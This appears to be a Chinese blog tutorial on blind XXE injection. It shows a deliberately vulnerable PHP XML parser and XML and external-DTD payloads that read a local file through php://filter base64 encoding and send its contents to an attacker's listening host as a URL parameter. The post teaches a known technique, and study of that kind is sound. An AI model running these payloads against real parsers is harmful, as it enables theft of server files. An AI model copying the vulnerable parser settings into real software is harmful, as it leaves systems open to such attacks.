又到了惊心动魄的XXE学习下篇了!!
Blind XXE
继 Normal XXE之后。又到了Blind XXE了。Blind XXE即无回显注入,废话不多说了。直接上代码
先来两个文件
3.php
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('1.xml');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom);
?>
1.xml
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe[<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" ><!ENTITY % remote SYSTEM "192.168.34.80:9999?p=123" >%remote;
]>
3.php文件我就不多说了,大家都清楚,相当于解析xml的一个接口。
分析一下1.xml文件
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >
既有外部实体也是参数实体,file的值是1.txt的内容经过base64编码的后的。为什么要编码呢?因为1.txt中可能有一些特殊字符,会让xml报错。所以用b64编码
<!ENTITY % remote SYSTEM "192.168.34.80:9999?p=123" >
既有外部实体也是参数实体,当调用remote的时候,会向网址发出一个请求携带参数123。
访问3.php
结果
成功得到参数p的值。
这样只能传死值。也就不会变的值。我们想要某个文件的内容该怎么办?
这样改下,file就是1.txt的b64加密后的内容
%file;即调用了file。
访问3.php
完美的报错。
为什么会报错????
查阅xml规范文档时,才知道,不能在实际的标记语言中调用参数实体。这里你可能不明白。推荐一个视频bilibili./video/av60413004?t=1085
意思就是不能在xml文件中,直接在值中调用参数实体。
解决办法
创建一个1.dtd文件,这个文件就是xml文件中的DTD。上面说不能在实际的标记语言中调用参数实体,那我们就将不能调用的放到1.dtd文件中,因为dtd文件不是标记语言(个人理解,有错请指出)
修改一下1.xml
<?xml version="1.0" ?><!DOCTYPE xxe[<!ENTITY % remote SYSTEM "192.168.34.69/1.dtd" >%remote;%int;%send;
]>
1.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >
<!ENTITY % int "<!ENTITY % send SYSTEM '192.168.34.80:9999?p=%file;'>">
结果
分析
这里得说一下%,为什么这里是%呢?因为这是%经过实体编码后的,为什么要实体编码?问的好,xml语法会将%当做调用参数实体,所以会报语法错误。
参考:xz.aliyun./t/3357#toc-11
更多推荐
Blind,XXE
发布评论